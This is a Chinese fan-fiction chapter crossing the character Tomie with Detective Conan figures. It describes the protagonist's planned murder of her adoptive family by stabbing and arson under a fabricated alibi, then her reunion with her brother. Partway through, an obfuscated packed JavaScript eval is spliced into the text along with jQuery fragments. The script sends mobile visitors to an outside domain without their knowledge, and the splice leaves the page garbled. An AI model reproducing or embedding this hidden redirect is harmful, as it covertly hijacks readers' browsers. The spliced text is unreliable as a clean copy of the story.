富江很快对自己进行了更详细的测试,最终确定了“富江”只怕火和腐蚀性物质。
火会将“富江”烧成灰烬,而腐蚀性物质则会让“富江”在再生和损坏间无限循环。
只要不被烧成灰烬,“富江”就可以做到无限再生,这已经超越了许多人臆想中的不死。
但让富江感到震撼的不是这一点,而是她的任何血肉只要脱离了本体,有可能长成一个新的富江。
她这才意识到自己似乎已经好些时日没来过生理期,头发和指甲的生长也比往常减慢许多,她猜测这是“富江”的自我适应,倘若不限制这些生命周期,恐怕不多时地球上就全是不可控的富江们彼此残杀。
分裂出的“富江”外表保持恒定不变,和她的区别只在身体上没有她小时候留下的几道旧日伤疤,“富江”的思维和她同样共通。
这就是为什么她这几天总有奇怪的感觉,因为那个新生富江缓慢生长的痛苦感受同样传达到了她的身上。
而每多出一个富江,她的思维就会多裂出一份,她有预感,一旦产生太多的富江,她就一定会疯掉。
毕竟所有富江都是她,虽然她有些固执地坚定把自己作为所谓的“本体”,但实际上没有第二个意识和她抢占。
如果“富江”太多,结果也是显而易见的,在一台电脑上同时运行数量超出设备本身限度的程序,电脑就会死机。
但富江不会死机,她只会崩溃,丧失思考能力,最终凭借本能行动。
恐怕那时她的本能就是不择手段抹除其他超负荷运行的程序,只留下自己一个“富江”,这样就可以得到片刻安宁。
不过现在富江不用担忧这些,现在只有两个富江。
她研究透自己的能力,很快学会同时行动,如果一个富江干脆睡去,那行动就会更加便捷。
这也让她想到了一个绝妙的主意——
她可以选择让一个富江(肯定是她的“本体”)离开川上家前往东京作为不在场证明,另一个富江藏匿在川上宅内,伺机将川上家全部解决。
更巧的是,川上宅以木质结构为主,只要用些易燃物点火,整座川上宅就会付之一炬,而动手的富江也能和整座川上宅一同消失。
找回记忆后,富江再也无法忍受川上家。
她每每在饭桌上端起温柔的笑脸就感到由衷的反胃,几乎要吐在当场,每一声“父亲”和“母亲”都像是对她真正父母在天之灵的亵渎——川上泰正和川上悠贵子有什么资格被她叫父母?
凭川上泰正想要拿走她的器官吗?凭川上悠贵子把她当自己的泄愤工具来随意折磨吗?
富江举起刀时双手毫不颤抖,第一刀的目标是川上泰正,生理力量上川上泰正比川上悠贵子更难应付,最好趁他尚在梦中直接解决。
为了减小动静,富江没穿雨衣,滚烫的血直接溅了她满脸,而她只是想,原来你的血也是有温度的啊。
川上泰正想要挖出她的心脏,最终却被她搅碎他那颗花大价钱精心保护的心脏,实在算是讽刺。
川上悠贵子没被动静吵醒,和她的大儿子一样被迅速解决,汽油浇在他们身上,富江无端想起午餐时她往牛排上浇了黑椒酱。
解决川上义裕费了她最多的功夫,这也是她的疏忽,太信任晚饭里的安眠药粉,没想到自己的动静实在不小。
但富江还是顺利把刀插进他的脖子,川上义裕倒在地上挣扎的样子实在可笑,富江有点想问他感觉如何,有感到之前被他强/女//干后毁掉人生的女孩的痛苦吗?
但川上义裕现在不过是条扭曲的蛆虫,所以富江移开了视线。
她连刀都懒得拔出来,反正她全程带着手套,刀上一点指纹都不存在(后来她有点后悔自己的懒惰,她猜想正是这把没拔出来的刀反而起到了止血作用,川上义裕这才有可能等到救援,不过这无伤大雅,反而会让他多受点折磨)。
富江拎起事先买好的汽油,往川上义裕身上一泼,汽油一路连到川上弘务的尸首,一根火柴下去,今夜的舞蹈就开始了。
她哼着歌,以符合年纪的少女雀跃同样点燃川上夫妇的房间。
最后的汽油被她浇到了自己身上,她席地而坐,准备好被火焰吞噬。
富江还是有些怕活活被火焰烧死,于是为自己准备了更安详的方法。
长匕首插进后脑脑干,她就在瞬间失去了意识。
再次醒来是次日清晨,富江在东京活动身躯,她反复看自己的手,这才感到一股压不住的悲伤。
她想问爸妈,我还算个好孩子吗?
这次和上次不一样,上次是危机之下毫不思索的反击,她知道爸妈肯定会支持她。但这次……这次是她一手策划的,她主动举起屠刀,计划好大部分细节,利用一切机会让自己无罪。
富江在床上抱住膝盖蜷成一团,她委屈地咬住下唇,想可是我想回家,我想回长野,我想和高明哥和景光见面,我想光明正大地拉着他们陪我出去,我不想被当成一件物品被抛来抛去随意处置,没有自己的任何选择权,我应该是人。
就算爸妈不希望看到他们的女儿变成这样……就算他们不希望,富江想,我还是会这么做的。
她本来想等一切安定下来再去找诸伏高明和诸伏景光,却发现自己等不了那么久。
富江在意料之外的情况下得知了诸伏高明的现状。
她那天在毛利家吃饭,毛利英理和她聊到自己的东大生活。
毛利一家本就对这个不幸的女孩颇有好感,得知她的养父母意外去世后更是格外怜惜她。
毛利英理在富江的请求下甚至同意尝试担任她的监护人,毛利英理花了好些时日整理资料,跑各种程序,最终律法届不败女王在她的职业生涯前段就展现出战无不胜的风范,顺利说服了家庭裁判所让她作为没有亲缘关系的第三方监护人登场。
而富江的报答同样可观,她把自己继承到的财产使用权全面向毛利一家开放。
毛利英理果断拒绝,毛利小五郎起初有点心动,看见具体数字后吓得死命后退,宣布自己患上了一定程度的数字恐惧症,同样狠狠拒绝。
最终富江只能强行自愿赠与他们东京市中心的一套高层公寓,登记为“妃英理”的个人财产。
她看出来毛利小五郎和毛利英理彼此相爱,但是他们间总会爆发不可调和的争吵与矛盾,出于私心,富江希望她现在的法定监护人在生气的时候能有个舒适的住处供她甩手离开。
而她也因此变成了毛利家的编外成员,富江无底线地宠爱年幼的毛利兰,给毛利兰买所有她稍微感兴趣的东西,程度到了让毛利小五郎和毛利英理有些头疼的地步。
富江留在东京上学,她换了所学校,在毛利一家的邀请下干脆直接住进他们家。
住进毛利家后,富江震撼于他们俩的生活技能之低——她可以无限再生,却差点被毛利英理的自信厨艺毒死。
毛利小五郎也没好到哪去,富江尝试吃一口他的饭,下一秒就得吐出来。
她一怒之下亲自下厨,端出一桌佳肴,毛利小五郎和毛利英理惊为天人,毛利小五郎摸着下巴说那以后要不让富江做饭得了,毛利英理狠狠训斥毛利小五郎的不道德思想,怎么能让未成年人承担家务。
但富江一口应下来,烹饪的确是她的爱好,不过她只负责最后入锅的步骤,买菜洗菜择菜都得毛利小五郎和毛利英理共同分担,最终分工定下,他们都为自己的胃松了口气。
毛利英理听富江说她计划申请东大生物医药专业,热情表示这是自己的母校,她可以为富江提供些事先了解。
于是吃完饭毛利小五郎被赶去洗碗,富江抱着毛利兰一起窝在沙发上看电视,毛利英理从书房里翻出大学相册,坐到她们旁边一起翻看。
她的手指一张张点过相片,说这张是她入学时拍的,这是东大的大门,由某位法国的知名建筑师设计,不豪华但是简约大气,那时候她还对未来有点犹豫,不知道自己能不能胜任律师的职业;
这张是她第一年和社团同学的合照,那会她还没正式把头发盘上去,看起来是全然的纯良学生样,富江笑说英理姐现在比以前威严好多;
这张是她刚拿下律师证和毛利小五郎的合照,背景是一片幽静池塘,那是东大最出名的情侣约会圣地,她说她和毛利小五郎找尽角度才拍到没其他人入境的照片;
她又往下翻,翻出来她昂扬笑着的毕业照,然后是她作为优秀毕业生代表回校演讲,和她的学妹学弟们拍的合照。
毛利英理往后继续翻,突然被富江按住了相册内页,她侧过脸去看富江,在长发垂落的阴影下,富江的表情不甚清晰。
敏锐的律师只听见富江干涩的嗓音:“他……英理姐,你知道他是谁吗?”
毛利英理低头,顺着富江手指的方向看去,看见一张斯文的脸,她沉思片刻,把照片抽出来,翻到背面,在一堆签名中念出了那个让富江几欲落泪的名字:“……诸伏高明……我记得他,比我小几届的学弟,挺优秀的,好像现在去当法官了?”
富江看着那张和自己有些许相似的脸,把小兰抱紧了些,闷闷地呢喃:“是法官啊……”
毛利英理察觉到她的情绪有些许不对,关切地问她怎么了。
富江摇摇头笑起来,她轻巧略过这个话题,只说:“英理姐有没有觉得他和我长得有点像?难得看见这种事呢。”
她最后说:“我已经开始期待我的东大生活了。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922087|154222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
知道了哥哥的下落,富江花点功夫就顺利找到了诸伏景光目前就读的学校。
她兴冲冲在放学时分跑到学校门口,本想直接和他相认,却感到了莫名的压力和紧张。
她想起最近自己经历的异状,她和毛利一家共同出行,走在街上不慎和人对上视线,在一阵沉默后,对方尖叫着扑上来,口中喊着绝望而疯狂的爱语。
毛利小五郎马上冲上前,一个过肩摔把对方按到在地,扭送警局时他仍然挣扎着回头看,像丧尸渴求新鲜肉质一样呼喊着他爱富江。
富江在新学校同样遭到了跟踪尾随和铺天盖地的示爱,情况比以前的任何时候都更严重。
她站在世界的中心往外看,看见身边的所有身影都长着相似的脸,谄媚的脸,嫉恨的脸,痴迷的脸,全是动物的脸,几乎没有一张人脸。
毛利一家百思不得其解到底是为什么她会遭到这种程度的“爱”。
富江不希望波及到毛利一家,于是提出搬离,被他们果断拒绝,表示富江的安全也很重要,住在毛利家至少能确保富江在家中的安全。
她无意中发现使用镜片隔绝视线会削弱她的致命吸引力,于是购买了若干副平光眼镜和墨镜轮流更换。
毛利英理想起自己的好友藤峰有希子,作为知名巨星的藤峰有希子相当擅长化妆,似乎还会一部分易容,她为富江联系了和推理小说家工藤优作结婚后搬去美国,现已改姓工藤的有希子,询问她是否能为富江提供帮助。
工藤有希子了解详情后当场应下,她热心地从美国飞回,亲自来教导富江如何使用那些瓶瓶罐罐把自己的脸变成截然不同的另一张脸,甚至还有一些简单的易容技巧,堪称倾囊相授。
富江自然没辜负她的费心费力,很快掌握了大半技巧,学会了把自己变得不那么引人注意。
但她遭遇的疯狂事件和她无限再生的特殊能力还是压迫着她的心脏,任何一点把危险带给她仅存亲人的行为都是不可原谅的。
所以富江在诸伏景光的学校前停下脚步。
她想,为了我的一己私欲,现在和景光相认是值得的吗?
会给他带来不可测的危险吗?会让那些把她卖掉的人发现不对吗?和那座岛屿有关的那些黑色会污染她仅存的净土吗?
诸伏富江没法回答。
她最终告诉自己,偷偷看看他就好了,确认他生活一切都好就行了。
但富江失算在没料到诸伏景光的侦察技巧如此惊人,也没料到自己的弟弟有一个同样惊人的幼驯染。
在双重包夹下,她还是说出了真相。
富江很快意识到自己的失态,她察觉了诸伏景光和降谷零对她的怀疑,但亲情作祟,她一点也不慌张,反而有些隐晦的自豪。
她觉得我弟弟真是太厉害了,竟然会怀疑我,我弟弟挑朋友的眼光也很不错,那个叫降谷零的小孩看我的眼神只有清澈的警觉,一点杂质都没有。
富江甜蜜又苦恼地想这下计划失去控制了,但是幸福冲昏了她的头脑,她毫不在乎地想,只要我先解决好一切,学会隐藏自己,小心一点,和弟弟相认没什么大不了的。
她调侃这两个高一新生,笑他们不会觉得她是真凶吧,她的不在场证明可是充足到吓人。
诸伏景光尴尬地反驳还不是姐姐的语气太惹人误会了,降谷零又一次默默合上手机,假装他没有几度想报警把幼驯染久别重逢的姐姐抓起来。
他们简单叙叙旧,富江报喜不报忧,把自己这些年的苦难一笔略过,只说自己现在过得很好,她说自己还有一些别的事需要处理,川上家的财产现在由她继承,但是还有很多亲戚试图争抢,所以现在不能直接相认。
富江没留下地址和联系方式,只是要走了诸伏景光的联系方式,她承诺之后会再联系他们,只是拜托自己的弟弟不要把今天的相遇告诉任何人。
诸伏景光问那高明哥可以说吗?
富江沉默半晌,最终松口说除了高明哥,其他人都不能说。
她千叮咛万嘱咐,在离开前还特别强调最好是在面对面且没有任何人在场的情况下告诉高明哥。
看着诸伏富江远去的背影,降谷零疑惑地摸摸下巴,他问诸伏景光:“Hiro,你说财团争抢财产真是这么吓人吗?”
诸伏景光皱着眉,他始终放心不下诸伏富江,他认真看向降谷零:“也许比她说的还吓人——姐姐瞒了我很多事。”
降谷零利索点头:“富江姐几乎一直在避免对视,说话也很避重就轻。”
他主动提议道:“Hiro,要去查查吗?”
诸伏景光有些意动,他思忖片刻,最终下定决心:“先查查最近的新闻吧,至少知道姐姐为什么脸色这么差。”